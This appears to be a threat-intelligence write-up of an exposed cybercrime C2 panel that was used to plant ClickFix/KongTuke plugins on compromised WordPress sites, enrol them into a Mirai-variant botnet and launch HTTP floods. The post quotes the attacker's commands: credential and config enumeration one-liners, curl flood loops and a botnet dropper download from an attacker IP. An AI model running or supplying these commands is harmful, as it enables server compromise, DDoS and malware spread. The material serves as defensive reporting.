Overview

On the 1st April, a Ctrl-Alt-Intel member discovered a “C2 Panel” on the internet, without authentication.

This panel exposed over 200 potential victims web-servers, containing a complete list of over 4000 commands that were sent in total. Analysis of these commands revealed:

• Attempts to build staged & evasive ClickFix infra for KongTuke malware delivery via compromised WordPress sites
• Attempts to construct Mirai-variant botnets
• Attempts to DDOS other cybercrime malware operations and Brazilian government websites using compromised WordPress sites

Among the confirmed victims was TGI Fridays. Multiple other researchers have previously linked the particular IOCs we identified & the corresponding ClickFix kill-chain to KongTuke. This attribution has not been done by Ctrl-Alt-Intel.

Additional reporting shows this same ClickFix campaign has targeted US government & military cybersecurity vendor.

The Panel

On the URL hXXps://107.158.128[.]79/ we had complete visibility of all victims, their corresponding metadata, and all commands the threat sent.

C2 panel

Clicking on an individual victim revealed metadata and commands sent:

Commands sent

The panel exposed an API that allowed us to scrape all commands that were sent to victim hosts

/api/agents -> list all agent_id values
/api/recon?agent_id= -> list victim metadata
/api/results?agent_id= -> list C2 command logs

There were additional API functions like /api/cmd, /api/mass & /api/fm/upload (amongst others) that would allow command execution across individual & all impacted hosts, including uploading files.

Ctrl-Alt-Intel first ran /api/agents to get a list of compromised hosts. Using this information, we iterated through each agent_id using /api/results to extract all commands. We could export this list to a CSV file for local analysis..

C2 Command Analysis

In total, from 219 agents, 4,229 commands were sent to victim machines. Many of these commands were sent at the same time, likely using the /api/mass function.

ClickFix Infrastructure from compromised Wordpress sites

We’ll get onto the Botnet construction and DDOS-ing attempts at rival cybercrime groups later, but the most interesting part of this campaign was the creation of ClickFix infrastructure via malicious WordPress plugins.

Before deploying plugins, using the C2, the threat actors performed basic enumeration checks:

cat /etc/passwd | head -1 # Checking for root user

wc -l /var/log/nginx/access.log 2>/dev/null || wc -l /var/log/apache2/access.log 2>/dev/null || echo no-logs # Checking for installed webserver

ls -la /var/www/html/ || ls -la ~/public_html/ # Listing files within web dirs

cat /var/www/html/* # Opening specific files 

cat /.dockerenv # Enumerating Docker infra

We also observed enumeration activity specific to WordPress sites & CPanel configurations:

ls ~/public_html/ 2>/dev/null; ls ~/domains/ 2>/dev/null; cat ~/etc/*/main 2>/dev/null; grep siteurl ~/public_html/wp-config.php 2>/dev/null; grep DB_NAME ~/public_html/wp-config.php 2>/dev/null; hostname; whoami

(ls ~/public_html/*/wp-config.php 2>/dev/null; for f in ~/public_html/*/wp-config.php; do [ -f "$f" ] && d=$(dirname "$f") && basename "$d"; done 2>/dev/null; for ini in ~/public_html/*/.user.ini ~/public_html/*/configuration.php; do [ -f "$ini" ] && basename $(dirname "$ini"); done 2>/dev/null; ls -d ~/public_html/*/ 2>/dev/null | while read d; do basename "$d"; done; cat ~/etc/*/main 2>/dev/null; for f in ~/*.conf 2>/dev/null; do [ -f "$f" ] && cat "$f" | grep -i domain | head -5; done; uname -n; echo USER:$(whoami)) 2>/dev/null | head -60

(cat /etc/trueuserdomains 2>/dev/null; cat /etc/userdatadomains 2>/dev/null | head -30; for d in ~/domains/*/public_html ~/public_html; do [ -d "$d" ] && basename $(dirname "$d"); done 2>/dev/null; grep ServerName /etc/apache2/sites-enabled/* /etc/httpd/conf.d/* 2>/dev/null | awk "{print \$NF}" | sort -u; grep server_name /etc/nginx/sites-enabled/* /etc/nginx/conf.d/* 2>/dev/null | awk "{print \$NF}" | tr -d ";" | sort -u; ls /var/cpanel/userdata 2>/dev/null; cat /etc/named.conf 2>/dev/null | grep zone | head -20) 2>/dev/null | head -50

Malicious WordPress Plugins

Following this, the threat actor issued the same command 217 times, deploying a malicious WordPress plugin z.php to all compromised sites:

WordPress Plugin Creation Command (217 victims)

The file z.php itself is staged. It’ll reach out to the URL hXXps://sceuppe[.]com/ads.php and retrieve Base64 encoded text, aHR0cHM6Ly93aW5kbHJyLmNvbS9maWxlLmpz.

This decodes to hXXps://windlrr[.]com/file.js, which is start of the ClickFix execution chain.

file.js

We also observed a near-identical file.js hosted on nitzschi[.]com, which we discuss later. Regardless of domain, the scripts perform the following steps:

1. The victim receives a small challenge via a request to hXXps://windlrr[.]com/t. We were not able to retrieve this response.
2. The visitor’s browser and device are fingerprinted, including screen size, time zone, browser language, plugin count, and other characteristics.
3. The browser solves a small proof-of-work puzzle. This likely slows automated scanners and helps the traffic resemble legitimate user behaviour.
4. The script submits the fingerprint and challenge response to hXXps://windlrr[.]com/g, where the server decides whether the visitor should receive the scam content.
5. If approved, the server returns HTML for a full-screen overlay, which the script loads into an iframe covering the page.
6. The ClickFix command is then retrieved from hXXps://windlrr[.]com/c?tk=<token> using the previously issued token.
7. The command is automatically copied to the clipboard.

Command Retrieval

This makes analysis more difficult. The ClickFix command / lures are dynamically pulled from C2, you cannot retrieve it from the source code alone. Additionally, Cloudflare has blocked the domain nitzchi[.]com and sceuppe[.]com is now down.

Pivoting & Victimology

Compromised WordPress sites will dynamically make a HTTP request to hXXps://windlrr[.]com/file.js, in order to start the ClickFix execution chain.

Using this information, we can use URLScan to hunt for all sites that make these requests:

Compromised WordPress Sites

Interestingly, amongst these was tgifridays.com:

TGI Fridays - April 11th (9th was the first compromise scan)

We decided to scan this domain again:

Compromised TGI Fridays today (22nd April)

The C2 has now updated, attempting to download a near identical script nitzschi[.]com/file.js. This is actively being blocked by Cloudflare.

This domain nitzschi[.]com has been linked on ThreatFox/Abuse.CH to ClickFix for delivering KongTuke.

The user monitorsg, posted on infosec.exchange detailing the suspected KongTuke execution chain:

KongTuke Execution Chain - monitorsg

Additionally, the domain windlrr[.]com was also linked to KongTuke:

windlrr[.]com linked to KongTuke delivery

Additional reporting here & here links the domain windlrr[.]com to KongTuke.

ClickFucker related infra

Notably, Ctrl-Alt-Intel retweeted a post relating to one of the IOCs within this campaign. We didn’t realise the relation to this C2 until now.

Cybercrime Feuds

We observed the threat actor send commands to 202 hosts at the same time. Some of these commands may indicate “beef” between two distinct threat actors.

while true; do curl -s https://www.trizideladovale.ma.gov.br; done
while true; do curl -s https://grabber[.]cy; done

This would cause an infite loop of HTTP requests to each of the above domains, from 200+ victim machines. This would cause a HTTP flood, potentially exhausting resources - making these websites inaccessible.

• www.trizideladovale.ma.gov.br -> official government website of the municipality of Trizidela do Vale, in Maranhão, Brazil

• grabber.cy -> This appears to be a Malware-as-a-Service website.

Historic URLScan entries from 13/02/25 and 21/02/25 for grabber.cy are both are advertising infostealing malware:

This is interesting. This threat actor is attempting to DDOS the website of another cybercriminal - one which sells infostealers.

grabber[.]cy - 13/02/25

grabber[.]cy - 21/02/25

The grabber[.]cy infostealer operation is not main the subject of this blog, it is just a “victim” in the context of another threat actor we are analysing.

“TOK Grabber” advertises “… the new generation of infostealer since Lumma/Rhadamanthys are down. Let’s introduce TOK Grabber. lightweight stub programmed in c++. comes with automated worm features”

Interestingly, we found evidence of a threat actor by the handle @LavaWava/brookesq/@smolders/@smoldering also running a MaaS called LavaC2 advertised on t.me/LavaV2:

LavaC2

2 months ago, this LavaC2 affiliated actor published a Youtube video performing a DDOS attack against grabber[.]cy / TOK Grabber.

Youtube video of DDOS against grabber[.]cy / TOK Grabber

We want to make it crystal clear, we are not indicating the @LavaWava/LavaC2 affiliated actor is responsible for the WordPress compromises. It could be two separatethreat actors both attempting to target grabber[.]cy.

Botnet Builder

So far we’ve established:

• This threat actor has compromised WordPress sites
• They have attempted to use these compromised WordPress sites to perform HTTP flood attacks against over websites

From the C2 command log, we also saw them enrol each compromised site into a botnet. In total, 216 sites received the below command:

curl -o ohshit.sh http://45.141.26[.]73/ohshit.sh

Analysis of this script shows it will download a relevant architecture sora* botnet binary as FuckYou, and execute it. This is a standard Mirai variant.

Conclusion

This exposed C2 provided rare visibility into a cybercrime operation that blurred the line between website compromise, malware delivery, and botnet abuse. Across 200+ compromised hosts, the operator used the same access for three distinct purposes: staging ClickFix/KongTuke infrastructure on WordPress sites, attempting to enrol those servers into a Mirai-variant botnet, and directing them to perform HTTP-flood attacks against both government infrastructure and potential rival criminal services.

What stands out is not sophisticated tradecraft, but operational opportunism. The actor repeatedly re-used compromised web servers as disposable infrastructure. The exposed panel, command history, and attacker mistakes provided an unusually complete view of how the operation functioned from backend administration through to delivery.

IOCs

MITRE ATT&CK